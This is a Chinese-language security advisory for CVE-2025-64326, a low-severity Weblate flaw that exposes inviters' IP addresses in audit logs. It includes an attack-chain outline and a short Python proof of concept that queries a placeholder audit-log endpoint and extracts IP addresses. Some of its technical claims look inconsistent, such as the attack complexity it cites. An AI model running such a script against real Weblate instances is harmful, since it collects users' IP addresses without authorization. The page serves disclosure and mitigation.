IPBUF安全漏洞报告
English
CVE-2025-64326 CVSS 2.6 低危

CVE-2025-64326: Weblate审计日志IP地址泄露漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-64326
漏洞类型
信息泄露
CVSS评分
2.6 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Weblate

相关标签

信息泄露Weblate审计日志IP地址泄露隐私风险CVSS 2.6低危漏洞访问控制Web应用安全

漏洞概述

Weblate是一款开源的基于Web的本地化翻译管理平台。CVE-2025-64326漏洞源于该平台在5.14及以下版本中存在严重的信息泄露问题。具体而言,当项目管理员或项目成员邀请新用户加入项目时,系统会在审计日志中记录邀请者的IP地址信息。更为严重的是,这些包含IP地址的审计日志可以被被邀请的用户查看,从而导致项目成员的IP地址被意外泄露。攻击者可以利用获取到的IP地址进行进一步的社会工程学攻击、定位或其他恶意活动。虽然CVSS评分为2.6(低危),但该漏洞涉及用户隐私信息的非授权披露,在某些场景下可能造成严重后果。此问题已在版本5.14.1中得到修复,建议所有使用受影响版本的用户尽快升级。

技术细节

该漏洞属于典型的信息泄露类漏洞,存在于Weblate的审计日志功能模块中。当系统处理用户邀请操作时,后端代码会将邀请者的IP地址记录到审计日志表中。问题出在访问控制逻辑上,系统未能正确限制被邀请用户查看包含IP地址的审计日志记录。具体技术细节包括:1) 邀请操作触发审计日志写入,包含发起者的IP地址;2) 审计日志查看接口未进行充分的权限验证;3) 攻击者只需拥有被邀请用户账户即可访问相关审计日志;4) 泄露的IP地址可用于用户地理位置推断或定向攻击。由于CVSS向量中攻击复杂度为高(H),说明该漏洞的利用需要满足特定条件,如攻击者需要先获取有效账户并完成用户邀请交互流程。修复方案在5.14.1版本中通过移除审计日志中的IP地址记录或限制日志访问权限来解决该问题。

攻击链分析

STEP 1
侦察阶段
攻击者注册Weblate账户并寻找目标项目,获取项目邀请链接或等待项目管理员主动邀请
STEP 2
初始访问
攻击者接受项目邀请,成功加入目标项目,获得项目成员权限
STEP 3
权限获取
攻击者使用获得的账户凭证登录Weblate系统
STEP 4
信息收集
攻击者访问项目审计日志功能,查看历史操作记录
STEP 5
数据窃取
从审计日志中提取包含邀请者IP地址的记录,实现IP地址信息泄露
STEP 6
后续利用
利用获取的IP地址进行地理定位、社会工程学攻击或其他恶意活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64326 PoC - Weblate IP Address Disclosure in Audit Log # This PoC demonstrates the information disclosure vulnerability import requests import json TARGET_URL = "https://vulnerable-weblate-instance.com" ATTACKER_TOKEN = "attacker_user_token" PROJECT_SLUG = "target_project" def exploit_ip_disclosure(): """ Steps to exploit CVE-2025-64326: 1. Attacker receives invitation to a project 2. Attacker authenticates and views audit log 3. Attacker extracts inviter's IP address from audit entries """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: View project audit log (requires invitation acceptance) audit_url = f"{TARGET_URL}/api/projects/{PROJECT_SLUG}/audit/" response = requests.get(audit_url, headers=headers) if response.status_code == 200: audit_data = response.json() print("[+] Successfully accessed audit log") # Step 2: Extract IP addresses from audit entries leaked_ips = [] for entry in audit_data.get('results', []): if 'ip_address' in entry: ip = entry['ip_address'] action = entry.get('action', 'unknown') user = entry.get('user', {}).get('username', 'unknown') leaked_ips.append({ 'ip': ip, 'action': action, 'user': user, 'timestamp': entry.get('timestamp') }) print(f"[+] Leaked IP: {ip} (User: {user}, Action: {action})") return leaked_ips else: print(f"[-] Failed to access audit log: {response.status_code}") return [] def main(): print("=" * 60) print("CVE-2025-64326 - Weblate Audit Log IP Disclosure PoC") print("=" * 60) leaked_ips = exploit_ip_disclosure() if leaked_ips: print(f"\n[!] Successfully extracted {len(leaked_ips)} IP address(es)") print("[!] These IPs can be used for geolocation or targeted attacks") else: print("\n[-] No IP addresses found or access denied") if __name__ == "__main__": main()

影响范围

Weblate < 5.14.1
Weblate 5.14
Weblate 5.13.x
Weblate 5.12.x
Weblate 5.11.x及更低版本

防御指南

临时缓解措施
在无法立即升级的情况下,可通过以下临时措施缓解风险:1) 修改审计日志存储机制,人工移除或哈希化IP地址字段;2) 临时禁用非管理员用户查看审计日志的权限;3) 配置反向代理添加额外的访问控制层;4) 监控审计日志访问行为,检测异常的大量日志查询请求。同时建议在下次维护窗口期间尽快完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表